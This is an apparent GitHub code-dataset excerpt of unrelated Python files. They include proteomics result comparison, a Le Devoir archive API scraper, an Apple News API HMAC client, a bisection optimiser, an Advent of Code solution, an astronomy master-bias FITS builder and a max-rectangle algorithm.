'b1928_293T_proteinID_08A_QE3_122212.35152']\r\n# ids = v['id'].values\r\n# MQ['mod. Raw File'].iloc[ids] = MQ['mod. Raw File'].iloc[ids] +'.'+ str(1234567890)\r\n# =============================================================================\r\n \r\n mult = MQ['mod. Raw File'].value_counts()>1 \r\n mult = mult[mult == True]\r\n for x in range(len(mult)):\r\n rawidex = mult.index[x]\r\n dupl = MQ[MQ['mod. Raw File'] == rawidex]['Type'] == 'MULTI-SECPEP'\r\n duplidex = dupl[dupl == True].index\r\n# =============================================================================\r\n# MQ['mod. Raw File'].iloc[duplidex.values] = \\\r\n# MQ['mod. Raw File'].iloc[duplidex.values] + '.' + str(123456789)\r\n# =============================================================================\r\n for y in range(len(duplidex)):\r\n idex = duplidex[y]\r\n MQ['mod. Raw File'][idex] = MQ['mod. Raw File'][idex] + '.' + \\\r\n str(MQ['id'][idex])\r\n \r\ndef scoreplt(a,b):\r\n plt.figure()\r\n a = a.sort_values('ScanID')\r\n b = b.sort_values('mod. Raw File')\r\n \r\n x = a['Hyperscore']\r\n x.plot.density(legend=True,label ='MSFragger').set_xlim(0,(x.max()+1))\r\n \r\n c = np.in1d(a['ScanID'],b['mod. Raw File'])\r\n x = a[c]['Hyperscore']\r\n x.plot.density(secondary_y = True,legend=True,label='MSF and MQ identified',title = 'MSFragger Scores', style = 'y--').set_xlim(0,(x.max()+1))\r\n \r\n \r\n plt.figure()\r\n y = b['Score']\r\n y.plot.density(legend=True,label ='MaxQuant').set_xlim(0,(y.max()+1))\r\n c = np.in1d(b['mod. Raw File'],a['ScanID'])\r\n y = b[c]['Score']\r\n \r\n y.plot.density(secondary_y = True,legend=True,label='MSF and MQ identified',title = 'MaxQuant Scores', style = 'y--').set_xlim(0,(y.max()+1))\r\n \r\n plt.figure() \r\n fit = np.polyfit(x,y,deg=1)\r\n plt.plot(x, fit[0] * x + fit[1], color='red')\r\n # Evaluate a gaussian kde on a regular grid of nbins x nbins over data extents\r\n nbins=150\r\n k = kde.gaussian_kde([x,y])\r\n xi, yi = np.mgrid[x.min():x.max():nbins*1j, y.min():y.max():nbins*1j]\r\n zi = k(np.vstack([xi.flatten(), yi.flatten()]))\r\n \r\n # Make the plot\r\n plt.pcolormesh(xi, yi, zi.reshape(xi.shape))\r\n \r\n plt.xlabel(\"MaxQuant\")\r\n plt.ylabel(\"MSFragger\")\r\n plt.colorbar()\r\n plt.show() \r\n \r\n plt.figure()\r\n fit = np.polyfit(x,y,deg=1)\r\n plt.plot(x, fit[0] * x + fit[1], color='red')\r\n plt.scatter(x,y, alpha=0.1)\r\n plt.xlabel(\"MaxQuant\")\r\n plt.ylabel(\"MSFragger\")\r\n plt.show() \r\n \r\ndef compareScanID(a,b):\r\n MS_Scans = []\r\n for x in range(len(a)):\r\n the,scanid,to,do = a['Spectrum'][x].split('.') \r\n scanid = int(scanid)\r\n scanid = str(scanid)\r\n MS_Scans.append(the+'.'+scanid) \r\n if 'ScanID' in a:\r\n scoreplt(a,b)\r\n compare(a['ScanID'],b['mod. Raw File'])\r\n \r\n else: \r\n a.insert(loc = 0,column='ScanID',value=MS_Scans)\r\n arr = b['Raw file'] +'.'+ b['Scan number'].astype(str)\r\n b.insert(loc = 0,column='mod. Raw File',value=arr)\r\n start_time2 = time.time();\r\n addRawid(b) # dont really need it... yes you do meh\r\n print(\"---Runtime = %s seconds ---\" % (time.time() - start_time2)) \r\n compareScanID(a,b)\r\n \r\ndef testMQ():\r\n root = Tk()\r\n root.withdraw()\r\n a = filedialog.askopenfilename(initialdir = \"D:\\Thomas\\PhytonSCripts\\MQOutput\" \\\r\n ,title = \"Choose a MQ nomatch.deppep file to plot\",\\\r\n filetypes = ((\"deppep files\",\"*.deppep\"),(\"all files\",\"*.*\")))\r\n a = pd.read_table(a,low_memory=False)\r\n a = a.drop(0).reset_index(drop = True)\r\n \r\n b = filedialog.askopenfilename(initialdir = \"D:\\Thomas\\PhytonSCripts\\MQOutput\" \\\r\n ,title = \"Choose a MQ matching.deppep file to plot\",\\\r\n filetypes = ((\"deppep files\",\"*.deppep\"),(\"all files\",\"*.*\")))\r\n b = pd.read_table(b,low_memory=False)\r\n b = b.drop(0).reset_index(drop = True)\r\n \r\n arg=a[['Raw file','DP Base Raw File','DP Proteins','DP Base Sequence']] \r\n argb=b[['Raw file','DP Base Raw File','DP Proteins','DP Base Sequence']]\r\n\r\n uniq = arg['DP Base Sequence'].unique()\r\n uniqb = argb['DP Base Sequence'].unique()\r\n out = uniq[np.in1d(uniq,uniqb)]\r\n df = pd.DataFrame({'Raw Files':arg['Raw file'].unique()})\r\n df['counta'] = 0\r\n df['countb'] = 0\r\n count = 0\r\n countb = 0\r\n \r\n for x in range(len(out)):\r\n coin = arg[arg['DP Base Sequence'] == out[x]]\r\n coinb = argb[argb['DP Base Sequence'] == out[x]] \r\n coincount = np.in1d(coin['Raw file'].unique(),coinb['Raw file'].unique())\r\n coinbcount = np.in1d(coinb['Raw file'].unique(),coin['Raw file'].unique())\r\n count = count + coincount[coincount==False].size\r\n countb = countb + coinbcount[coinbcount==False].size\r\n \r\n for y in (coin['Raw file'].unique()[coincount==False]):\r\n df['counta'][df['Raw Files'] == y] = df['counta'][df['Raw Files'] == y] + 1\r\n for z in (coinb['Raw file'].unique()[coinbcount==False]):\r\n df['countb'][df['Raw Files'] == z] = df['countb'][df['Raw Files'] == z] + 1\r\n df.plot.bar()\r\n \r\n print('Amount of peptide sequences found in the Raw Files of file 1 but not'\\\r\n ' found in the Raw Files of file 2 is ',count, '. For file 2: ', countb) \r\n print('!!!Both peptide sequences need to be present in both files!!!')\r\n print('Amount of dp. Peptides in file 1: ',len(a), ' in file 2: ', len(b))\r\n \r\n values = pd.DataFrame(a['Raw file'].value_counts())\r\n values['Raw'] = b['Raw file'].value_counts().values\r\n values.columns = ['No match', 'Matching']\r\n values = values.sort_index()\r\n values.plot.bar()\r\n \r\n a['Intensity'] = a['Intensity'].astype(float)\r\n b['Intensity'] = b['Intensity'].astype(float)\r\n\r\n raw_tablea = pd.pivot_table(a, values = 'Intensity',\\\r\n index = ['DP Cluster Index','DP AA','DP Base Sequence','DP Probabilities'], columns = 'Raw file')\r\n raw_tableb = pd.pivot_table(b, values = 'Intensity',\\\r\n index = ['DP Cluster Index','DP AA','DP Base Sequence','DP Probabilities'], columns = 'Raw file')\r\n\r\n raw_tablea = raw_tablea.reset_index()\r\n raw_tableb = raw_tableb.reset_index()\r\n\r\n return raw_tablea,raw_tableb\r\n\r\n\r\n# =============================================================================\r\n# MAIN CONTROLLER\r\n# =============================================================================\r\n\r\ndef mainpep():\r\n root = Tk()\r\n root.withdraw()\r\n a = filedialog.askopenfilename(initialdir = \"D:\\Thomas\\PhytonSCripts\\MSOutput\" \\\r\n ,title = \"Choose a MSFragger peptide file\",\\\r\n filetypes = ((\"tsv files\",\"*.tsv\"),(\"all files\",\"*.*\")))\r\n b = filedialog.askopenfilename(initialdir = \"D:\\Thomas\\PhytonSCripts\\MQOutput\" \\\r\n ,title = \"Choose a MQ peptide file\",\\\r\n filetypes = ((\"txt files\",\"*.txt\"),(\"all files\",\"*.*\")))\r\n a = pd.read_csv(a,sep = '\\t', header = 0)\r\n b = pd.read_table(b)\r\n groupncomparepep(a,b)\r\n \r\ndef mainprot():\r\n root = Tk()\r\n root.withdraw()\r\n a = filedialog.askopenfilename(initialdir = \"D:\\Thomas\\PhytonSCripts\\MSOutput\" \\\r\n ,title = \"Choose a MSFragger report file\",\\\r\n filetypes = ((\"tsv files\",\"*.tsv\"),(\"all files\",\"*.*\")))\r\n b = filedialog.askopenfilename(initialdir = \"D:\\Thomas\\PhytonSCripts\\MQOutput\" \\\r\n ,title = \"Choose a MQ proteinGroups.txt file\",\\\r\n filetypes = ((\"txt files\",\"*.txt\"),(\"all files\",\"*.*\")))\r\n a = pd.read_csv(a,sep = '\\t', header = 0)\r\n b = pd.read_table(b)\r\n groupncompareprot(a,b)\r\n \r\ndef mainmsms():\r\n root = Tk()\r\n root.withdraw()\r\n a = filedialog.askopenfilename(initialdir = \"D:\\Thomas\\PhytonSCripts\\MSOutput\" \\\r\n ,title = \"Choose a MSFragger psm.tsv file\",\\\r\n filetypes = ((\"tsv files\",\"*.tsv\"),(\"all files\",\"*.*\")))\r\n b = filedialog.askopenfilename(initialdir = \"D:\\Thomas\\PhytonSCripts\\MQOutput\" \\\r\n ,title = \"Choose a MQ msms.txt file\",\\\r\n filetypes = ((\"txt files\",\"*.txt\"),(\"all files\",\"*.*\")))\r\n a = pd.read_csv(a,sep = '\\t', header = 0)\r\n b = pd.read_table(b)\r\n print('Comparing big psm/msms files can take a while.')\r\n compareScanID(a,b)\r\n\r\ndef maindeppep():\r\n root = Tk()\r\n root.withdraw()\r\n a = filedialog.askopenfilename(initialdir = \"D:\\Thomas\\PhytonSCripts\\MSOutput\" \\\r\n ,title = \"Choose a MSFragger psm.tsv file to plot\",\\\r\n filetypes = ((\"tsv files\",\"*.tsv\"),(\"all files\",\"*.*\")))\r\n b = filedialog.askopenfilename(initialdir = \"D:\\Thomas\\PhytonSCripts\\MQOutput\" \\\r\n ,title = \"Choose a MQ DP_peptides.deppep file to plot\",\\\r\n filetypes = ((\"deppep files\",\"*.deppep\"),(\"all files\",\"*.*\")))\r\n \r\n a = pd.read_csv(a,sep = '\\t', header = 0)\r\n b = pd.read_table(b,low_memory=False)\r\n b = b.drop(0).reset_index(drop = True)\r\n \r\n# =============================================================================\r\n# Tune Plots here: e.g: \r\n# file, reduce to 1000 most common modificaions , remove 10 bins around 0,\r\n# reduce to 1000 most common bins, configure binsteps and size \r\n# =============================================================================\r\n\r\n histMS = plotsMS(a, 1500, 5, 1500, 1,500.5,False)\r\n histMQ = plotsMQ(b, 1500, 0, 1500, 1,500.5)\r\n \r\n idscatter(histMQ,histMS,110)\r\n return histMQ,histMS\r\n \r\ndef main():\r\n \r\n mainmsms()\r\n mainprot()\r\n mainpep()\r\n maindeppep()\r\n\r\n \r\n \r\n ","repo_name":"tomthun/Phyton-Scripts","sub_path":"Functions.py","file_name":"Functions.py","file_ext":"py","file_size_in_byte":19068,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"71705819894","text":"# ©2018 Jean-Hugues Roy. GNU GPL v3.\n# coding: utf-8\n\nimport csv, requests, json\n\nfich = \"devoir-api.csv\"\n\nn=0\nfor x in range(2806457,2930478):\n\tn += 1\n\tprint(x,n)\n\n\tentetes = {\n\t\t\"User-Agent\":\"Jean-Hugues Roy - requête transmise pour un projet de recherche avec les Cahiers du journalisme\",\n\t\t\"From\":\"roy.jean-hugues@uqam.ca\"\n\t}\n\t\n\turl = \"http://collections.banq.qc.ca/api/service-notice?handle=52327/{}\".format(x)\n\treq = requests.get(url,headers=entetes)\n\t\n\tprint(req.status_code)\n\n\tif req.status_code == 200:\n\t\tinfo = req.json()\n\t\tif info[\"titre\"] == \"Le devoir, 1910- (Montréal)\":\n\t\t\tedition = []\n\t\t\tedition.append(url)\n\t\t\tedition.append(info[\"annee\"])\n\t\t\tedition.append(info[\"mois\"])\n\t\t\tedition.append(info[\"jour\"])\n\t\t\tedition.append(info[\"bitstreams\"][\"liste\"][0][\"url\"])\n\t\t\tedition.append(info[\"bitstreams\"][\"liste\"][0][\"fichier\"])\n\t\t\tedition.append(info[\"bitstreams\"][\"liste\"][0][\"size\"])\n\n\t\t\tprint(edition)\n\t\t\tying = open(fich, \"a\")\n\t\t\tyang = csv.writer(ying)\n\t\t\tyang.writerow(edition)\n","repo_name":"jhroy/CdJ_LeDevoir","sub_path":"devoir-api.py","file_name":"devoir-api.py","file_ext":"py","file_size_in_byte":998,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"18844515548","text":" #! Crea un algoritmo que determine si un número es capicúa o no.\n\ndef Capicua():\n op = \"si\"\n while op == \"si\":\n try: \n num=int(input(\"Introduce un numero entero \"))\n numReverso = str(num)[::-1]\n if str(numReverso) == str(num):\n print(f\"El número {num} es capicúa\")\n else:\n print(f\"El número {num} no es capicúa\")\n\n except:\n print(\"No has introducido un numero\")\n \n choose = input(\"Si quieres continuar teclea 'si', sino pulse cualquier otra tecla: \")\n op = choose.lower()\n print(\"¡Hasta luego!\")\n\n\n#Capicua()","repo_name":"xsha256/startPython","sub_path":"menu/ej20Capicua.py","file_name":"ej20Capicua.py","file_ext":"py","file_size_in_byte":648,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"12493288938","text":"import json\nfrom math import *\nfrom sys import argv\n\nL0_lower = float(argv[1])\nL0_upper = float(argv[2])\nfunction = argv[3]\nE = float(argv[4])\nl0 = float(argv[5])\ntarget = argv[6].lower()\n\nassert target in ('min', 'max')\n\nFIND_MAX = target == 'max'\n\n\noutput_json = {}\n\ndef f(x):\n return eval(function)\n\n\nROUND_PRECISION = 12\n\n\nL = [[L0_lower, L0_upper]]\n\nn = (2/log(2)) * log((L0_upper-L0_lower - E)/(l0-E))\n\nn = ceil(n/2)*2\n\noutput_json['n'] = n\n\nx_best = 0\nf_best = float('-inf') if FIND_MAX else float('inf')\n\nfor i in range(n//2):\n mid = round((L[-1][1] + L[-1][0])/2, ROUND_PRECISION)\n\n x_left = round(mid - E/2, ROUND_PRECISION)\n x_right = round(mid + E/2, ROUND_PRECISION)\n\n\n f_left = round(f(x_left), ROUND_PRECISION)\n f_right = round(f(x_right), ROUND_PRECISION)\n\n if FIND_MAX:\n if f_left > f_best:\n f_best = f_left\n x_best = x_left\n if f_right > f_best:\n f_best = f_right\n x_best = x_right\n\n if f_left > f_right:\n L.append([L[-1][0], x_right])\n elif f_left < f_right:\n L.append([x_left, L[-1][1]])\n else:\n L.append([x_left, x_right])\n else:\n if f_left < f_best:\n f_best = f_left\n x_best = x_left\n if f_right < f_best:\n f_best = f_right\n x_best = x_right\n\n if f_left < f_right:\n L.append([L[-1][0], x_right])\n elif f_left > f_right:\n L.append([x_left, L[-1][1]])\n else:\n L.append([x_left, x_right])\n\n output_json[f'L{len(L)*2 - 2}'] = L[-1]\n\noutput_json['x*'] = x_best\noutput_json['f*'] = f_best\noutput_json['success'] = True\n\nprint(json.dumps(output_json))\n","repo_name":"tastydata0/optimization-methods-api","sub_path":"scripts/dichotomy.py","file_name":"dichotomy.py","file_ext":"py","file_size_in_byte":1718,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"28789010441","text":"import base64 # this module is used to encode and decode data\nimport hmac # is a mechanism for message authentication using cryptographic hash functions\nimport requests\nimport sys\nfrom datetime import datetime\nimport hashlib # for taking variable length of bytes and converting it into a fixed length sequence\nfrom pprint import pprint\n\n\nclass PublisherAPI:\n channel_id = \"\"\n current_action = \"\"\n key_id = \"\"\n key_secret = \"\"\n url = \"\"\n \n def send_request(self, method, url, content_type = None):\n date = datetime.utcnow().strftime('%Y-%m-%dT%H:%M:%SZ')\n canonical_request = method + url + date\n canonical_request = canonical_request.encode()\n signature = self.create_signature(canonical_request)\n authorization = \"HHMAC; key=%s; signature=%s; date=%s\" % (\n self.key_id, signature, date)\n headers = {\"Authorization\": authorization}\n return requests.request(method, url, headers = headers)\n\n def create_signature(self, canonical_request):\n key_bytes = base64.b64decode(self.key_secret)\n message = canonical_request\n secret = self.key_secret.encode(\"utf-8\")\n\n signature = base64.b64encode(hmac.new(key_bytes, message,digestmod=hashlib.sha256).digest()).decode(\"utf-8\")\n return signature\n\n def read_channel(self):\n method = \"GET\"\n url = self.url + \"%s\" % self.channel_id\n return self.send_request(method, url)\n\n def main(self):\n if self.current_action == \"readChannel\":\n response = self.read_channel()\n else:\n response = {\n \"status_code\": 400,\n \"response\": \"{\\\"errors\\\":[{\\\"code\\\":\\\"UNKNOWN_COMMAND\\\"}]}\"\n }\n return response\n\n\nif __name__ == \"__main__\":\n if not len(sys.argv) > 4:\n print(\"no or missing arguments\")\n exit()\n\n publisherAPI = PublisherAPI()\n publisherAPI.url = sys.argv[1] + \"/channels/\"\n publisherAPI.channel_id = sys.argv[2]\n publisherAPI.key_id = sys.argv[3]\n publisherAPI.key_secret = sys.argv[4]\n publisherAPI.current_action = \"readChannel\"\n\n response = publisherAPI.main()\n\n pprint(response.status_code)\n pprint(response.text)\n","repo_name":"reoyamanaka/appleNewsApiTut","sub_path":"read_channel.py","file_name":"read_channel.py","file_ext":"py","file_size_in_byte":2218,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"35622861286","text":"import csv\nfrom django.core.management import BaseCommand\n\n# Import the model \nfrom coffee.models import countries\n\n\nclass Command(BaseCommand):\n # Show this when the user types help\n help = \"Loads data from countries\"\n\n def handle(self, *args, **options):\n \n # Show this before loading the data into the database\n print(\"updating\")\n\n #Code to load the data into database\n for row in csv.reader(open('C:/Users/jacoma/OneDrive - Microsoft/Desktop/data/countries.csv')):\n country=countries.objects.get(country_code=row[0])\n country.region = row[7]\n country.subregion = row[8]\n country.save(update_fields=['region', 'subregion'])\n print(row[0])","repo_name":"onthemarq/coffee_app","sub_path":"coffee/management/commands/update_countries.py","file_name":"update_countries.py","file_ext":"py","file_size_in_byte":743,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"35168590136","text":"from pathlib import Path\n\ndef solve(data: list[str]):\n n, m = len(data), len(data[0])\n grid = [list(map(int, row)) for row in data]\n hlp = [[None] * m for _ in range(n)]\n for i in range(n):\n mx1, mx2 = grid[i][0], grid[i][-1]\n hlp[i][0] = hlp[i][-1] = False\n for j in range(m):\n if grid[i][j] <= mx1 and (hlp[i][j] is None or hlp[i][j] == True):\n hlp[i][j] = True\n else:\n hlp[i][j] = False\n mx1 = max(mx1, grid[i][j])\n if grid[i][-j -1] <= mx2 and (hlp[i][-j - 1] is None or hlp[i][-j - 1] == True):\n hlp[i][-j -1] = True\n else:\n hlp[i][-j -1] = False\n mx2 = max(mx2, grid[i][-j - 1])\n for j in range(n):\n mx1, mx2 = grid[0][j], grid[-1][j]\n hlp[0][j] = hlp[-1][j] = False\n for i in range(m):\n if grid[i][j] <= mx1 and (hlp[i][j] is None or hlp[i][j] == True):\n hlp[i][j] = True\n else:\n hlp[i][j] = False\n mx1 = max(mx1, grid[i][j])\n\n if grid[-i - 1][j] <= mx2 and (hlp[i][j] is None or hlp[-i -1][j] == True):\n hlp[-i - 1][j] = True\n else:\n hlp[-i - 1][j] = False\n mx2 = max(mx2, grid[-i - 1][j])\n \n res = sum(sum(x for x in row) for row in hlp)\n # return n * m - res #part 1\n \n # part 2\n hlp = [[[None] * 4 for j in range(m)] for i in range(n)]\n for i in range(n):\n mx1, mx2 = {x:0 for x in range(10)}, {x:-1 for x in range(10)}\n for j in range(m):\n pos = max(pos for key, pos in mx1.items() if key >= grid[i][j])\n hlp[i][j][0] = j - pos\n mx1[grid[i][j]] = j\n pos = min(pos for key, pos in mx2.items() if key >= grid[i][-j-1])\n hlp[i][-j-1][1] = pos + j + 1\n mx2[grid[i][-j-1]] = -j - 1\n for j in range(n):\n mx1, mx2 = {x:0 for x in range(10)}, {x:-1 for x in range(10)}\n for i in range(m):\n pos = max(pos for key, pos in mx1.items() if key >= grid[i][j])\n hlp[i][j][2] = i - pos\n mx1[grid[i][j]] = i\n pos = min(pos for key, pos in mx2.items() if key >= grid[-i - 1][j])\n hlp[-i -1][j][3] = pos + i + 1\n mx2[grid[-i -1][j]] = -i - 1\n\n res = 0\n for row in hlp:\n for x in row:\n res = max(res, x[0] * x[1] * x[2] * x[3])\n if res == 45:\n pass\n\n return res\n\n\npath = Path(__file__)\nfilename = path.name.rstrip(\".py\")\n\nwith open(f\"{filename}_temp.txt\") as f:\n example_data = [line.rstrip(\"\\n\") for line in f.readlines() if line.rstrip()]\nwith open(f\"{filename}.txt\") as f:\n my_data = [line.rstrip(\"\\n\") for line in f.readlines() if line.rstrip()]\n\nprint(solve(example_data))\nprint(solve(my_data))\n\n\n\n\n","repo_name":"alchrist42/adventcode_2022","sub_path":"8.py","file_name":"8.py","file_ext":"py","file_size_in_byte":2848,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"18162194936","text":"#! /usr/bin/env python3\n\n# Duplicate creation of master bias file\n\nfrom astropy.utils.exceptions import AstropyWarning, AstropyUserWarning\nfrom astropy.io import fits\nfrom astropy.time import Time\nimport datetime\nimport numpy as np\nimport argparse\nimport warnings\nimport sys\nimport re\nimport trimarrays\nimport cosmic1\n\nfiltfn = dict(BL='z', BR=\"r\", UR=\"g\", UL=\"i\")\nrevfilt = dict()\nfor k, v in filtfn.items():\n revfilt[v] = k\n\nqfilt = 'zrig'\n\nfmtch = re.compile('([FB]).*([UB][LR])')\n\n# Shut up warning messages\n\nwarnings.simplefilter('ignore', AstropyWarning)\nwarnings.simplefilter('ignore', AstropyUserWarning)\nwarnings.simplefilter('ignore', UserWarning)\n\nparsearg = argparse.ArgumentParser(description='Duplicate creation of master bias file ', formatter_class=argparse.ArgumentDefaultsHelpFormatter)\nparsearg.add_argument('files', nargs='*', type=str, help='List of files to process')\nparsearg.add_argument('--outfile', type=str, required=True, help='Output FITS file')\nparsearg.add_argument('--listfiles', type=str, help='File containing list of files to process with descriptions')\nparsearg.add_argument('--filter', type=str, help='Specify filter otherwise deduced from files')\nparsearg.add_argument('--stoperr', action='store_true', help='Stop processing if any files rejected')\nparsearg.add_argument('--force', action='store_true', help='Force overwrite of existing file')\nparsearg.add_argument('--asfloat', action='store_true', help='Save in floating point format')\nparsearg.add_argument('--usemean', action='store_true', help='Use mean of values rather than median')\nparsearg.add_argument('--tcosmic', type=float, default=10.0, help='Threshold to comside values as cosmic')\nparsearg.add_argument('--nthresh', type=float, default=2.0, help='Mults of std dev to consider neighbours of cosmsics non cosmic')\n\nresargs = vars(parsearg.parse_args())\nfiles = resargs['files']\noutfile = resargs['outfile']\nlistfiles = resargs['listfiles']\nfilter = resargs['filter']\nstoperr = resargs['stoperr']\nforce = resargs['force']\nasfloat = resargs['asfloat']\nusemean = resargs['usemean']\ntcosmic = resargs['tcosmic']\nnthresh = resargs['nthresh']\n\nif listfiles is not None:\n if len(files) != 0:\n print(\"Confused between --listfiles arg of\", listfiles, \"and file arguments\", file=sys.stderr)\n sys.exit(10)\n try:\n lf = open(listfile)\n except OSError as e:\n print(\"Cannot open\", listfile, \"error was\", e.strerror, file=sys.stderr)\n sys.exit(11)\n\n descrs = []\n for lin in lf:\n fn, descr = lin.split(\" \", 1)\n files.append(fn)\n descrs.append(descr)\n lf.close()\nelif len(files) == 0:\n print(\"No input files specfied\", file=sys.stderr)\n sys.exit(12)\nelse:\n descrs = ['(no descr)'] * len(files)\n\nerrors = 0\nmed = []\nave = []\nsd = []\ntemp = []\nmjd = []\nhdrs = []\nims = []\ntotdone = 0\n\nfor file, descr in zip(files, descrs):\n try:\n ff = fits.open(file)\n except OSError as e:\n # FITS routines don't set up OSError correctly\n if e.strerror is None:\n print(\"File\", file, '\"' + descr + '\" is not a valid FITS file', e, args[0], file=sys.stderr)\n else:\n print(\"Could not open\", file, '\"' + descr + '\" error was', e.strerror, file=sys.stderr)\n errors += 1\n continue\n\n fhdr = ff[0].header\n fdat = ff[0].data\n\n ff.close()\n\n try:\n fname = fhdr['FILENAME']\n except KeyError:\n print(\"No filename found in\", file, '\"' + descr + '\"', file=sys.stderr)\n errors += 1\n continue\n\n mtch = fmtch.match(fname)\n if mtch is None:\n print(\"Could not match filename\", fname, \"in\", file, '\"' + descr + '\"', file=sys.stderr)\n errors += 1\n continue\n\n typ, seg = mtch.groups()\n if typ != 'B':\n print(file, '\"' + descr + '\" filename', fname, \"Does not look like a bias file\", file=sys.stderr)\n errors += 1\n continue\n nfilt = filtfn[seg]\n if filter is None:\n filter = nfilt\n elif filter != nfilt:\n print(file, '\"' + descr + '\" filename', fname, \"appears to be bias for filter\", nfilt, \"not\", filter, file=sys.stderr)\n errors += 1\n continue\n\n try:\n if qfilt[fhdr['QUADID']] != filter:\n print(file, '\"' + descr + '\" filename', fname, \"has unexpected quadrant for filter\", qfilt[fhdr['QUADID']], \"not\", filter, file=sys.stderr)\n errors += 1\n continue\n except KeyError:\n print(file, '\"' + descr + '\" filename', fname, \"has no quadrant setting\", file=sys.stderr)\n errors += 1\n continue\n\n # OK Checked everything not let's do the biz\n\n fdat, ndone = cosmic1.cosmic1(fdat, nthresh, tcosmic)\n trimdata = trimarrays.trimzeros(fdat)\n totdone += ndone\n try:\n temperature = fhdr['CCDTEMP']\n mjdate = fhdr['MJD-OBS']\n except KeyError as e:\n print(file, '\"' + descr + '\" filename', fname, \"header item missing\", e.args[0], file=sys.stderr)\n errors += 1\n continue\n med.append(np.median(trimdata))\n ave.append(np.mean(trimdata))\n sd.append(np.std(trimdata))\n temp.append(temperature)\n mjd.append(mjdate)\n hdrs.append(fhdr)\n ims.append(fdat)\n\nif len(ims) == 0:\n print(\"Aborting as no images to process\", file=sys.stderr)\n sys.exit(1)\n\nif errors != 0 and stoperr:\n print(\"Aborting doue to\", errors, \"error(s)\", file=sys.stderr)\n sys.exit(2)\n\nmed = np.array(med)\nave = np.array(ave)\nsd = np.array(sd)\ntemp = np.array(temp)\nmjd = np.array(mjd)\n\nsd_e = np.median(sd)\nmed_e = np.median(med)\n\nmax_date = mjd.max()\nmin_date = mjd.min()\ntemp_e = np.median(temp)\n\nif usemean:\n final_image = np.mean(ims, axis=0)\nelse:\n final_image = np.median(ims, axis=0)\n\nfirst_header = hdrs[0]\n\nif asfloat:\n final_image = final.image.astype(np.float32)\n for todel in ('BZERO', 'BSCALE', 'BUNIT', 'BLANK'):\n try:\n del first_header[todel]\n except KeyError:\n pass\nelse:\n final_image += 0.5 # Because it trunacates\n final_image = final_image.astype(np.uint16)\n\nfimage = final_image.flatten()\nfimage = fimage[fimage > 9]\ndata_min = fimage.min()\ndata_max = fimage.max()\n\nfirst_header.set('DATE_MIN', str(Time(min_date, format='mjd', precision=0).isot), ' (UTC) start date of used bias frames')\nfirst_header.set('DATE_MAX', str(Time(max_date, format='mjd', precision=0).isot), ' (UTC) end date of used bias frames')\nfirst_header.set('MJD_MIN', min_date, ' [day] start MJD of used bias frames')\nfirst_header.set('MJD_MAX', max_date, ' [day] end MJD of used bias frames')\nfirst_header.set('N_IMAGES', len(mjd), ' number of images used')\nfirst_header['DATAMIN'] = data_min\nfirst_header['DATAMAX'] = data_max\nfirst_header.set('FILTER', filter, \" filter corresponding to \" + revfilt[filter] + \" quadrant\")\nfirst_header.set('FILENAME', \"bias\", ' filename of the image')\nfirst_header.set('CCDTEMP', temp_e, ' [C] median value of CCD Temp of used images')\n\nfirst_header['HISTORY'] = datetime.datetime.now().strftime(\"Created on %a %b %d %H:%M:%S %Y\")\nhdu = fits.PrimaryHDU(final_image, first_header)\ntry:\n hdu.writeto(outfile, overwrite=force, checksum=True)\nexcept OSError:\n print(\"Could not write\", outfile, file=sys.stderr)\n sys.exit(200)\nif totdone > 0:\n print(totdone, \"cosmics deleted\", file=sys.stderr)\n","repo_name":"JohnMCollins/python-astro-progs","sub_path":"Numpy/remfits/makemastbias.py","file_name":"makemastbias.py","file_ext":"py","file_size_in_byte":7316,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"3774522899","text":"\"\"\"\nGiven a binary matrix. Find the maximum area of a rectangle formed only of 1s in the given matrix.\n\nExample 1:\n\nInput:\nn = 4, m = 4\nM[][] = {{0 1 1 0},\n {1 1 1 1},\n {1 1 1 1},\n {1 1 0 0}}\nOutput: 8\nExplanation: For the above test case the\nmatrix will look like\n0 1 1 0\n1 1 1 1\n1 1 1 1\n1 1 0 0\nthe max size rectangle is\n1 1 1 1\n1 1 1 1\nand area is 4 *2 = 8.\nYour Task:\nYour task is to complete the function maxArea which returns the maximum size rectangle area in a binary-sub-matrix with all 1’s. The function takes 3 arguments the first argument is the Matrix M[ ] [ ] and the next two are two integers n and m which denotes the size of the matrix M.\n\nExpected Time Complexity : O(n*m)\nExpected Auixiliary Space : O(m)\n\nConstraints:\n1<=n,m<=1000\n0<=M[][]<=1\n\nNote:The Input/Ouput format and Example given are used for system's internal purpose, and should be used by a user for Expected Output only. As it is a function problem, hence a user should not read any input from stdin/console. The task is to complete the function specified, and not to write the full code.\n\"\"\"\n\n\ndef MAH(arr, n):\n arr.append(0)\n n += 1\n nsl = [-1 for x in range(n)]\n nsr = [-1 for y in range(n)]\n stack = [0]\n top = 0\n for i in range(1, n):\n while top >= 0 and arr[i] < arr[stack[top]]:\n nsr[stack.pop()] = i\n top -= 1\n stack.append(i)\n top += 1\n stack = [n-1]\n top = 0\n for i in range(n-2, -1, -1):\n while top >= 0 and arr[i] < arr[stack[top]]:\n nsl[stack.pop()] = i\n top -= 1\n stack.append(i)\n top += 1\n # print(nsr)\n # print(nsl)\n area = 0\n for i in range(n):\n area = max((nsr[i]-nsl[i]-1)*arr[i], area)\n return area\n\n\ndef maxRectangle(M, n, m):\n # code here\n arr = M[0]\n area = MAH(arr, m)\n for i in range(1, n):\n for j in range(m):\n if M[i][j]!=0:\n arr[j]+=M[i][j]\n else:\n arr[j]=0\n area = max(area, MAH(arr, m))\n return area\n","repo_name":"amit-kr-debug/CP","sub_path":"Geeks for geeks/stacks/Max rectangle - binary matrix.py","file_name":"Max rectangle - binary matrix.py","file_ext":"py","file_size_in_byte":2059,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"37"} +{"seq_id":"26981696117","text":"'''\nTop commands\n'''\n\n# load packages\nimport os\nimport pandas as 